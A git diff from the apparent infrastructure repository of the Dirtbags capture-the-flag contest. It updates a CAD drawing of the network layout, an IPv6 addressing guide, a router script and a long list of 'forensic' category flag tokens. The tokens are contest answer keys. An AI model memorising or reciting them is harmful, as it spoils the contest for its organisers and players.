10 -38.3968291839557594 - 20 -10.9776420746888093 - 30 -0.0 - 11 -22.7190487551867406 - 21 -10.7740345366528434 - 31 -0.0 - 0 -LINE - 5 -B7 -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -30.8633502766251908 - 20 -23.1940943568464739 - 30 -0.0 - 11 -12.7504236929460717 - 21 -27.3639767358229626 - 31 -0.0 - 0 -LINE - 5 -B8 -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -46.9483457814661307 - 20 -23.1940943568464846 - 30 -0.0 - 11 -63.8477714384509198 - 21 -23.1940943568464917 - 31 -0.0 - 0 -LINE - 5 -B9 -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -46.9483457814661307 - 20 -23.1940943568464846 - 30 -0.0 - 11 -54.0746096127247711 - 21 -10.6608906915629422 - 31 -0.0 - 0 -LINE - 5 -BA -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -54.0746096127247711 - 20 -10.6608906915629422 - 30 -0.0 - 11 -70.7704277316736068 - 21 -11.0590850899031814 - 31 -0.0 - 0 -LINE - 5 -BB -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -51.0482646749654236 - 20 -60.0 - 30 -0.0 - 11 -67.0482646749654236 - 21 -60.0 - 31 -0.0 - 0 -LINE - 5 -BC -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -67.0482646749654236 - 20 -60.0 - 30 -0.0 - 11 -61.5241323374827047 - 21 -46.0 - 31 -0.0 - 0 -LINE - 5 -BD -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -51.0482646749654236 - 20 -60.0 - 30 -0.0 - 11 -43.0482646749654236 - 21 -74.0 - 31 -0.0 - 0 -LINE - 5 -BE -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -43.0482646749654236 - 20 -74.0 - 30 -0.0 - 11 -59.0482646749654236 - 21 -74.0 - 31 -0.0 - 0 -LINE - 5 -BF -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -35.0482646749654236 - 20 -60.0 - 30 -0.0 - 11 -27.0482646749654201 - 21 -74.0 - 31 -0.0 - 0 -LINE - 5 -C0 -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -27.0482646749654201 - 20 -74.0 - 30 -0.0 - 11 -11.0482646749654201 - 21 -74.0 - 31 -0.0 - 0 -LINE - 5 -C1 -100 -AcDbEntity -100 -AcDbLine - 8 -Network - 62 -256 -370 --1 - 6 -ByLayer - 10 -35.0482646749654236 - 20 -60.0 - 30 -0.0 - 11 -19.0482646749654201 - 21 -60.0 - 31 -0.0 - 0 -LINE - 5 -C2 -100 -AcDbEntity -100 AcDbLine 8 Network @@ -4817,7 +3485,7 @@ ByLayer 0 LINE 5 -C3 +91 100 AcDbEntity 100 @@ -4845,7 +3513,7 @@ ByLayer 0 LINE 5 -C4 +92 100 AcDbEntity 100 @@ -4873,7 +3541,7 @@ ByLayer 0 LINE 5 -C5 +93 100 AcDbEntity 100 @@ -4901,7 +3569,7 @@ ByLayer 0 LINE 5 -C6 +94 100 AcDbEntity 100 @@ -4927,6 +3595,1150 @@ ByLayer 31 0.0 0 +LINE + 5 +95 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +4 +370 +-1 + 6 +ByLayer + 10 +50.9605634854771807 + 20 +43.8827074458275703 + 30 +0.0 + 11 +63.0940309820193619 + 21 +40.0404427385892134 + 31 +0.0 + 0 +LINE + 5 +96 +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +4 +370 +-1 + 6 +ByLayer + 10 +22.2446904103273404 + 20 +11.1223452051636702 + 30 +0.0 + 11 +9.1216177040110686 + 21 +15.3764412724757999 + 31 +0.0 + 0 +LINE + 5 +97 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +8.291202789303826 + 20 +19.817996911018902 + 30 +0.0 + 11 +10.3134473720608568 + 21 +19.817996911018902 + 31 +0.0 + 0 +LINE + 5 +98 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +10.3134473720608568 + 20 +19.817996911018902 + 30 +0.0 + 11 +10.3134473720608568 + 21 +13.7512631627478097 + 31 +0.0 + 0 +LINE + 5 +99 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +10.3134473720608568 + 20 +13.7512631627478097 + 30 +0.0 + 11 +8.291202789303826 + 21 +13.7512631627478097 + 31 +0.0 + 0 +LINE + 5 +9A +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +8.291202789303826 + 20 +13.7512631627478097 + 30 +0.0 + 11 +8.291202789303826 + 21 +19.817996911018902 + 31 +0.0 + 0 +LINE + 5 +9B +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +62.4873576071922514 + 20 +41.8604628630705378 + 30 +0.0 + 11 +64.5096021899492911 + 21 +41.8604628630705378 + 31 +0.0 + 0 +LINE + 5 +9C +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +64.5096021899492911 + 20 +41.8604628630705378 + 30 +0.0 + 11 +64.5096021899492911 + 21 +35.7937291147994472 + 31 +0.0 + 0 +LINE + 5 +9D +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +64.5096021899492911 + 20 +35.7937291147994472 + 30 +0.0 + 11 +62.4873576071922514 + 21 +35.7937291147994472 + 31 +0.0 + 0 +LINE + 5 +9E +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +62.4873576071922514 + 20 +35.7937291147994472 + 30 +0.0 + 11 +62.4873576071922514 + 21 +41.8604628630705378 + 31 +0.0 + 0 +CIRCLE + 5 +9F +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +11.1223452051636702 + 20 +73.8119272706316281 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +A0 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +27.3003018672199183 + 20 +74.0141517289073363 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +A1 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +43.2760340710004598 + 20 +73.6097028123559198 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +A2 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +59.0495418165053039 + 20 +74.0141517289073363 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +A3 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +50.9605634854771807 + 20 +60.0606641078838166 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +A4 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.1496424389119397 + 20 +59.8584396496081155 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +A5 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +34.7826068234209274 + 20 +60.0606641078838166 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +A6 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +19.0090990779160904 + 20 +59.8584396496081155 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +A7 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +30.5358931996311647 + 20 +22.8513637851544473 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +A8 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +47.1182987782388167 + 20 +23.053588243430152 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +A9 +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +63.9029288151221735 + 20 +23.2558127017058531 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +AA +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +53.5894814430613167 + 20 +10.5156718303365597 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +AB +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +69.7674381051175629 + 20 +11.1223452051636702 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +AC +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +37.8159736975564797 + 20 +10.9201207468879673 + 30 +0.0 + 40 +3.0 + 0 +CIRCLE + 5 +AD +100 +AcDbEntity +100 +AcDbCircle + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +22.6491393268787462 + 20 +10.7178962886122644 + 30 +0.0 + 40 +3.0 + 0 +LINE + 5 +AE +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +87.6164383561643803 + 20 +41.4595267745952683 + 30 +0.0 + 11 +87.6164383561643803 + 21 +51.4595267745952683 + 31 +0.0 + 0 +LINE + 5 +AF +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.0 + 20 +60.0 + 30 +0.0 + 11 +2.3486924034869241 + 21 +60.0 + 31 +0.0 + 0 +LINE + 5 +B0 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.3486924034869241 + 20 +60.0 + 30 +0.0 + 11 +2.3486924034869241 + 21 +50.0373599003735947 + 31 +0.0 + 0 +LINE + 5 +B1 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.3486924034869241 + 20 +50.0373599003735947 + 30 +0.0 + 11 +2.0 + 21 +50.0373599003735947 + 31 +0.0 + 0 +LINE + 5 +B2 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.0 + 20 +50.0373599003735947 + 30 +0.0 + 11 +2.0 + 21 +60.0 + 31 +0.0 + 0 +LINE + 5 +B3 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.0 + 20 +22.0 + 30 +0.0 + 11 +2.3486924034869241 + 21 +22.0 + 31 +0.0 + 0 +LINE + 5 +B4 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.3486924034869241 + 20 +22.0 + 30 +0.0 + 11 +2.3486924034869241 + 21 +11.9476961394769603 + 31 +0.0 + 0 +LINE + 5 +B5 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.3486924034869241 + 20 +11.9476961394769603 + 30 +0.0 + 11 +2.0 + 21 +11.9476961394769603 + 31 +0.0 + 0 +LINE + 5 +B6 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.0 + 20 +11.9476961394769603 + 30 +0.0 + 11 +2.0 + 21 +22.0 + 31 +0.0 + 0 +LINE + 5 +B7 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.0 + 20 +44.0 + 30 +0.0 + 11 +68.5205479452054789 + 21 +44.0 + 31 +0.0 + 0 +LINE + 5 +B8 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.5205479452054789 + 20 +44.0 + 30 +0.0 + 11 +68.5205479452054789 + 21 +37.1706102117060979 + 31 +0.0 + 0 +LINE + 5 +B9 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.5205479452054789 + 20 +37.1706102117060979 + 30 +0.0 + 11 +68.0 + 21 +37.1706102117060979 + 31 +0.0 + 0 +LINE + 5 +BA +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.0 + 20 +37.1706102117060979 + 30 +0.0 + 11 +68.0 + 21 +44.0 + 31 +0.0 + 0 +LINE + 5 +BB +100 +AcDbEntity +100 +AcDbLine + 8 +Network + 62 +4 +370 +-1 + 6 +ByLayer + 10 +19.0250883540802285 + 20 +60.0723680221300356 + 30 +0.0 + 11 +8.8841843088418422 + 21 +55.1432129514321261 + 31 +0.0 + 0 +LINE + 5 +BC +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +7.8626379075527613 + 20 +58.3588383545567595 + 30 +0.0 + 11 +9.884882490309792 + 21 +58.3588383545567595 + 31 +0.0 + 0 +LINE + 5 +BD +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +9.884882490309792 + 20 +58.3588383545567595 + 30 +0.0 + 11 +9.884882490309792 + 21 +52.2921046062856689 + 31 +0.0 + 0 +LINE + 5 +BE +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +9.884882490309792 + 20 +52.2921046062856689 + 30 +0.0 + 11 +7.8626379075527613 + 21 +52.2921046062856689 + 31 +0.0 + 0 +LINE + 5 +BF +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +7.8626379075527613 + 20 +52.2921046062856689 + 30 +0.0 + 11 +7.8626379075527613 + 21 +58.3588383545567595 + 31 +0.0 + 0 ENDSEC 0 SECTION @@ -4965,7 +4777,7 @@ E 3 AcDbVariableDictionary 350 -C7 +C0 0 DICTIONARY 5 @@ -5429,7 +5241,7 @@ Layout2 0 DICTIONARY 5 -C7 +C0 100 AcDbDictionary 281 @@ -5437,15 +5249,15 @@ AcDbDictionary 3 DIMASSOC 350 -C9 +C2 3 HIDETEXT 350 -C8 +C1 0 DICTIONARYVAR 5 -C8 +C1 100 DictionaryVariables 280 @@ -5455,7 +5267,7 @@ DictionaryVariables 0 DICTIONARYVAR 5 -C9 +C2 100 DictionaryVariables 280 diff --git a/doc/ipv6.txt b/doc/ipv6.txt index 32517d2..2ecc83f 100644 --- a/doc/ipv6.txt +++ b/doc/ipv6.txt @@ -3,13 +3,23 @@ IPv6 in Dirtbags CTF The contest network uses IPs in the unique local address space fd84:b410:3441::/48. Each team gets a /64 internal subnet, with -their team number (generally the same as the switch port). +their team number (generally the same digits as the switch port). Each subnet's gateway is fd84:b410:3441:$teamno::1. -Team 5, in switch port 5, on VLAN 5, gets fd84:b410:3441:5::/64. +Team 15, in switch port 15, on VLAN 15, gets fd84:b410:3441:15::/64. Server network is fd84:b410:3441::/64 (AKA fd84:b410:3441:0::/64). To make things easier to type, use hosts in the /112. The MCP server lives at fd84:b410:3441::2. +Vendors typically live on port 23. They usually want a static address. +Tell them this: + + Pick any address in fd84:b410:3441:23::/64. Your default gateway + is fd84:b410:3441:23::1. You may want to assign yourself a subnet, + for example fd84:b410:3441:23:1234:: + +Kevin Nauer gets port 24. In 2012, we needed to route fd80:1::/48 +through fd84:b410:3441:24::2, since he was using that subnet for +his systems. diff --git a/packages/router/service/router/run b/packages/router/service/router/run index 2816d1e..28b8f5f 100755 --- a/packages/router/service/router/run +++ b/packages/router/service/router/run @@ -33,6 +33,7 @@ for i in $(seq 24); do ip link set eth0.$i up done +# Subnet route for SNL at TF4 ip route add fd80:1::/48 via fd84:b410:3441:24::2 sleep 8100d diff --git a/packages/tf4/tokens.txt b/packages/tf4/tokens.txt index 7059bd6..9d7f415 100644 --- a/packages/tf4/tokens.txt +++ b/packages/tf4/tokens.txt @@ -398,103 +398,253 @@ re:97:xutim-munef-sevox re:98:xenod-nomyf-ruvax re:99:xepov-lotap-fozyx re:100:xoras-mynaf-sosix -forensic:1:xicoz-gykyl-mazax -forensic:2:xuzod-nigec-lynyx -forensic:3:xiseb-mefyf-regyx -forensic:4:xusit-ruzur-nunyx -forensic:5:xolor-suveh-fygyx -forensic:6:xilil-nerub-tatex -forensic:7:xihom-nibaz-ronyx -forensic:8:xuzoh-gyfed-pehix -forensic:9:xuson-hutyr-zemyx -forensic:10:xucac-hemav-zizux -forensic:11:xifig-forur-kecix -forensic:12:xonoh-cobig-tyfax -forensic:13:xedof-pivad-notex -forensic:14:xolaf-kahek-vitox -forensic:15:xebak-livec-gugox -forensic:16:xidic-kahap-corox -forensic:17:xufaz-cakoh-bosyx -forensic:18:xetad-befon-sitax -forensic:19:xigit-zynid-busix -forensic:20:xopom-tafis-dubix -forensic:21:xelid-hosiv-nuhux -forensic:22:xulez-kyceh-sukex -forensic:23:xufak-hygur-vodex -forensic:24:xurok-sahon-mykix -forensic:25:xohin-cohic-hanyx -forensic:26:xunac-ditil-rykux -forensic:27:ximoh-sycik-fytux -forensic:28:xival-zovos-cazox -forensic:29:xogiz-sebyn-lifix -forensic:30:xicog-hivan-nabix -forensic:31:xuven-kyvam-hupyx -forensic:32:xedez-hekat-lemyx -forensic:33:xupam-zufim-hynix -forensic:34:xozib-mazed-cufax -forensic:35:xotob-vymem-befax -forensic:36:xokiv-labym-hozax -forensic:37:xipag-guvof-tonux -forensic:38:xurom-hyhim-vonux -forensic:39:xihop-pykek-camox -forensic:40:xebiv-zinut-hirox -forensic:41:xomig-sycyc-dysex -forensic:42:xifol-rudec-dygux -forensic:43:xohen-nukuc-silyx -forensic:44:xover-pydur-lyzax -forensic:45:xuhis-caloh-momex -forensic:46:xinez-kydan-mosix -forensic:47:xupat-vynyh-kemyx -forensic:48:xipir-nylik-bydox -forensic:49:xupov-facec-zymyx -forensic:50:xovid-dugiv-helux -forensic:51:xezim-pegez-tirox -forensic:52:xugac-kuzin-bibex -forensic:53:xebib-pevah-nigex -forensic:54:xihel-capuz-focex -forensic:55:xepib-gycyf-dylyx -forensic:56:xemif-dimaf-rukax -forensic:57:xukeb-likur-zozex -forensic:58:xosod-tigiz-tudux -forensic:59:xugop-mebem-synax -forensic:60:xozov-zopik-behox -forensic:61:xekof-sutat-lasix -forensic:62:xucaz-pekom-nimyx -forensic:63:xegim-moruv-synox -forensic:64:xesek-mihuv-tezux -forensic:65:xegon-kebad-kelyx -forensic:66:xedev-vivag-ladax -forensic:67:xilat-zumus-dutux -forensic:68:xefof-dasib-vacex -forensic:69:xukak-nifin-mypix -forensic:70:xudag-zizen-fityx -forensic:71:xoziz-ferim-selux -forensic:72:ximed-humok-serex -forensic:73:xetir-pycel-locyx -forensic:74:xinel-vecis-tipux -forensic:75:xusel-zovam-kutyx -forensic:76:xodac-cucal-hudex -forensic:77:xipoc-nanuz-pakyx -forensic:78:xomab-navah-kirox -forensic:79:xusog-gadem-tacex -forensic:80:xerel-cesov-ferox -forensic:81:xupis-sedur-zevix -forensic:82:xehed-fulog-fibix -forensic:83:xufez-celaf-ruhex -forensic:84:xepez-feryf-kovox -forensic:85:xugic-gepuc-dufox -forensic:86:xogeh-kuryl-comox -forensic:87:xitek-rikih-kopix -forensic:88:xefis-gepol-fafex -forensic:89:xodar-dirub-sabox -forensic:90:xolom-rubyf-darox -forensic:91:xuteg-pecys-dakux -forensic:92:xukig-basuk-duvyx -forensic:93:xivat-fohom-virox -forensic:94:xizog-decuc-fanox -forensic:95:xusoz-pikos-cyzyx -forensic:96:xiboc-kapys-tazox -forensic:97:xubor-kares-gikux -forensic:98:xovar-kalyl-kufex -forensic:99:xusap-fipon-nafax -forensic:100:xusot-hydob-leryx +forensic:25:xesot-vutoz-tukyx +forensic:25:xenip-dosaf-kicex +forensic:25:xezeb-cecoh-ladyx +forensic:25:xepir-bepes-tegux +forensic:25:xukec-kybym-hegyx +forensic:25:xidib-nemyr-pybyx +forensic:25:xiboc-ravyr-nytyx +forensic:25:xoviv-dahok-bavex +forensic:25:xulil-bokuf-gutux +forensic:25:xogaf-tetyh-cifax +forensic:25:xelop-tirys-rohox +forensic:25:xitig-volet-rupux +forensic:25:xidez-nycin-kadox +forensic:25:xubom-pifac-vymax +forensic:25:xiken-vicap-situx +forensic:25:xokam-gutyr-lylax +forensic:25:xutoz-gabih-zipix +forensic:25:xozip-pihys-pozex +forensic:25:xokik-dazet-gavux +forensic:25:xiras-vufyv-tigox +forensic:25:xeciz-hemih-rumex +forensic:25:xukec-nodit-rovox +forensic:25:xegen-mikym-zudex +forensic:25:xumef-lonyg-fesyx +forensic:25:xucig-dakoh-gokix +forensic:100:xerib-dezam-vuzix +forensic:100:xehet-zyzys-bocyx +forensic:100:xusah-retos-vykox +forensic:100:xuhim-copul-hasix +forensic:100:xeril-mysym-rubyx +forensic:100:xudoh-havif-badax +forensic:100:xinam-kydic-sirax +forensic:100:ximil-lilon-fozax +forensic:100:xigar-vivib-sifix +forensic:100:xekap-mygiz-dosex +forensic:100:xebac-tebep-vagix +forensic:100:xeted-vizys-fyfyx +forensic:100:xeref-sivyd-dapax +forensic:100:xupir-socek-gasox +forensic:100:xipan-sumaz-nogyx +forensic:100:xeviz-finub-tezex +forensic:100:xucam-vozoh-legix +forensic:100:xevor-patad-dipux +forensic:100:xunov-hogir-cagox +forensic:100:xuzom-fevyz-kafix +forensic:100:xunel-sesap-hykyx +forensic:100:xilas-relyd-lohox +forensic:100:xerig-gyfap-pysix +forensic:100:xelek-motat-ninux +forensic:100:xukos-mymip-zevix +forensic:150:xiseg-kuhev-mifyx +forensic:150:xoved-vicyh-zabax +forensic:150:xusap-vinak-ponex +forensic:150:xezel-rubid-zedax +forensic:150:xobaz-subaf-barux +forensic:150:xezov-zokif-cazyx +forensic:150:xirac-gizeg-hozix +forensic:150:xikem-nybez-cezex +forensic:150:xebal-pivaz-suvax +forensic:150:xulam-ficug-hopyx +forensic:150:xovaz-rucyz-sedax +forensic:150:xezog-bazeh-porix +forensic:150:xorom-fytyf-socax +forensic:150:xidog-zykil-zykox +forensic:150:xucib-pamyn-hakex +forensic:150:xocat-hinyh-henox +forensic:150:xevim-tebis-fonux +forensic:150:xedez-lyrub-cidox +forensic:150:xegap-cihus-nonox +forensic:150:xonit-ciseb-livux +forensic:150:xipif-damor-bitix +forensic:150:xucek-ravor-tohax +forensic:150:xopod-cafer-nebox +forensic:150:xebam-nykyk-lilex +forensic:150:xurov-fuvis-batex +forensic:200:xonas-tones-cofex +forensic:200:ximen-vyboh-cudux +forensic:200:xofig-fynuh-levex +forensic:200:xumig-pisap-fupyx +forensic:200:xurig-gador-fokyx +forensic:200:xolin-tysog-metix +forensic:200:xifik-pylil-kyrex +forensic:200:xegos-rarit-pabox +forensic:200:xupeh-nobih-rugyx +forensic:200:xibok-civem-hymyx +forensic:200:xelev-dizeg-denax +forensic:200:xunog-nadab-vekyx +forensic:200:xisev-lubus-dymyx +forensic:200:xirip-bibyc-setax +forensic:200:xenof-vymyt-syhax +forensic:200:xobig-dyhig-gefax +forensic:200:xivik-movad-kykex +forensic:200:xusil-hebuc-sohux +forensic:200:xegal-fybos-cyrox +forensic:200:xidip-decem-puvax +forensic:200:xesir-gohad-sohox +forensic:200:xucir-bokus-rofix +forensic:200:xemot-hemac-togax +forensic:200:xosel-tucim-cukox +forensic:200:xicap-dohez-fidex +forensic:250:xudib-cylis-mopux +forensic:250:xihog-sakin-cimux +forensic:250:xosif-kavul-nuhox +forensic:250:xevit-lulol-gubax +forensic:250:xesop-logev-radux +forensic:250:ximaz-bihub-tamyx +forensic:250:xikid-vohyn-lerax +forensic:250:xelav-sekih-bumix +forensic:250:xobem-hycim-zirux +forensic:250:xukek-pytir-bubox +forensic:250:xolik-lunem-lapax +forensic:250:xulen-nuguv-kutix +forensic:250:xorot-kemem-lozex +forensic:250:xemod-colek-himyx +forensic:250:xegoc-girov-nedox +forensic:250:xumiz-gikes-lotox +forensic:250:xoram-fygot-lydyx +forensic:250:xopap-fimuh-fivox +forensic:250:xupin-pomep-bybox +forensic:250:xoleh-fihac-zigex +forensic:250:xunar-lycyg-cozox +forensic:250:xipik-giduh-sudyx +forensic:250:xopar-riraz-bypex +forensic:250:xolin-sokug-dasax +forensic:250:xebir-tamum-gasyx +forensic:300:xuren-pibac-megox +forensic:300:xeveh-nezyn-mipox +forensic:300:xolev-tubel-takux +forensic:300:xugem-bariv-ladux +forensic:300:xuzib-sugam-kezex +forensic:300:xoler-peveh-safix +forensic:300:xediv-vimen-hozax +forensic:300:xurok-makar-ruvyx +forensic:300:xezab-huces-fydux +forensic:300:xodan-penic-nasox +forensic:300:xivov-suvud-danax +forensic:300:xipom-bakud-gozox +forensic:300:xufab-vuduc-zycox +forensic:300:xekez-vydam-ruzox +forensic:300:xevap-kyzam-futex +forensic:300:xozis-pudup-losox +forensic:300:ximos-mycif-nelix +forensic:300:xumof-votil-volyx +forensic:300:xevil-zelin-kynix +forensic:300:xobeh-bapur-nuzyx +forensic:300:xuhik-ruvan-lycix +forensic:300:xiseh-pydys-fenyx +forensic:300:xirod-nedar-cikax +forensic:300:xinof-nylaz-puvux +forensic:300:xihiv-dizom-nyvax +forensic:350:xicev-vikus-lefux +forensic:350:xemas-corez-sohox +forensic:350:xikos-zadyr-tuzox +forensic:350:xemob-fufoz-mukix +forensic:350:xerom-kigop-kedux +forensic:350:xidez-ticys-cadax +forensic:350:xumoh-cuzyf-zacyx +forensic:350:xuved-zudep-dahex +forensic:350:xezek-hasaf-duvyx +forensic:350:xusin-zunym-hifax +forensic:350:xunon-coheg-malux +forensic:350:xisob-fadyd-bunix +forensic:350:xulic-vezam-zucux +forensic:350:xorig-tehot-gufox +forensic:350:xivaz-dinig-mugyx +forensic:350:xikib-tazop-sunix +forensic:350:xomos-mopit-hylix +forensic:350:xigar-lyzyp-zufox +forensic:350:xecom-papih-cogex +forensic:350:xugig-sagag-sicax +forensic:350:xobem-nifah-kypex +forensic:350:xegir-vopym-badax +forensic:350:xohel-bulip-depix +forensic:350:xobom-haveb-rehux +forensic:350:xuzin-vunef-culyx +forensic:400:xenip-sigeg-syzex +forensic:400:xecil-lukyr-nupex +forensic:400:xuhot-hepec-zesux +forensic:400:xukis-nuval-menyx +forensic:400:xebet-ryvol-pulyx +forensic:400:xogag-rypuk-dehyx +forensic:400:xuvip-cymoh-bagux +forensic:400:xinab-pozyl-tobyx +forensic:400:xorib-tivup-hokyx +forensic:400:xolep-demul-kunux +forensic:400:xekek-zahep-lanix +forensic:400:xiref-turez-vemox +forensic:400:xehib-nozas-kisux +forensic:400:xibak-gugir-vobux +forensic:400:xikef-mateh-duvox +forensic:400:xepod-zihub-hudux +forensic:400:xodok-lizef-bufyx +forensic:400:xubog-fozez-bizox +forensic:400:xurok-ledym-bavix +forensic:400:xepim-tusok-fysux +forensic:400:xogov-byzan-cobax +forensic:400:xipog-nydyd-mutux +forensic:400:xubov-citok-vokix +forensic:400:xudob-danuf-rimix +forensic:400:xetaz-zehuv-vacox +forensic:450:xuhis-huful-gelox +forensic:450:xetat-sihot-zubyx +forensic:450:xuvem-zihoz-levax +forensic:450:xomes-cifen-kynox +forensic:450:xolod-lesab-purex +forensic:450:xobis-gever-ravax +forensic:450:xihig-gobar-zaryx +forensic:450:xozev-mikih-serax +forensic:450:xupap-hific-pukux +forensic:450:xizag-tysur-ricex +forensic:450:xekol-ryfur-niryx +forensic:450:xucaf-bozym-mahux +forensic:450:xepeg-soden-hafux +forensic:450:xivap-zosoz-ravox +forensic:450:ximas-sysys-sulyx +forensic:450:xovik-libet-vimex +forensic:450:xopek-zabil-kymox +forensic:450:xivag-sudot-vyvex +forensic:450:xigev-hyvub-masex +forensic:450:xezov-hoteh-nofex +forensic:450:xezim-runel-tebax +forensic:450:ximep-voryk-mahex +forensic:450:xinec-pelov-tygyx +forensic:450:xefil-fucir-fivex +forensic:450:xigih-cisol-bugox +forensic:500:xibeh-zutit-vidax +forensic:500:xicap-zypim-posux +forensic:500:xeveg-fuhed-dypyx +forensic:500:xenas-lomyd-nymex +forensic:500:xisad-kizav-rypax +forensic:500:xopoh-gubel-rimox +forensic:500:xucez-linul-hutax +forensic:500:xupak-hotoh-gopux +forensic:500:xolar-fubog-sevox +forensic:500:xigoc-rekah-zyfux +forensic:500:xiceb-cymot-gafix +forensic:500:xosec-hecat-hypux +forensic:500:xokal-mikal-zadux +forensic:500:xoden-kalah-divox +forensic:500:xubic-teryk-lizix +forensic:500:xocat-debut-tatux +forensic:500:xegoh-meziz-ponyx +forensic:500:xosof-degil-tigyx +forensic:500:xitik-vavak-kivyx +forensic:500:xiner-biryn-nylox +forensic:500:xohik-golin-menyx +forensic:500:xulek-cikyv-ketax 